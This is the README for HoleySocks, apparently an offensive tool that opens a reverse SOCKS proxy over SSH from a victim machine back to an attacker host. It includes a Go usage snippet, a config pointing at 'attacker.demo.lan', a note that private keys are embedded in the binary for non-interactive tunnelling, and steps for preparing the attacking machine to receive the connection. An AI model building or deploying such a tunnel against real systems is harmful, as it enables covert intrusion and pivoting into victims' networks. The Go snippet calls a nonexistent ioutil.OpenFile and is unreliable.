HoleySocks

A cross-platform reverse socks proxy.

Getting Started

As a module

import github.com/audibleblink/holeysocks/pkg/holeysocks

func main() {
    //error handling removed for brevity
    config := holeysocks.MainConfig{}
        configBytes, _ := ioutil.OpenFile("ssh.json")
        json.Unmarshal(configBytes, &config)

    sshKey, _ := ioutil.OpenFile("id_ed25519")
    config.SSH.SetKey(sshKey)
    holeysocks.ForwardService(config)
}

As a standalone binary

It's required to embed all the parameters needed to start and forward the socks server with SSH. Do this by creating config/ssh.json and using make

cat <<EOF > configs/ssh.json
{
  "ssh": {
    "username": "sshuser",
    "host": "attacker.demo.lan",
    "port": 22
  },
  "socks": { "remote": "127.0.0.1:1080" }
}
EOF

make

CAUTION The generated private keys are embedded into the binary to allow for the reverse port forwarding without interaction. Follow the instructions below.

Before running the generated binaries, you'll need a user on your attacking machine for receiving the reverse ssh connection that forwards the socks proxy from the victim.

Once that user has been created, (with a homedir and /bin/false shell), append the generated pubkey in your authorized_keys file on the attacking machine.

The Makefile should generate the needed commands and entry for you when you run make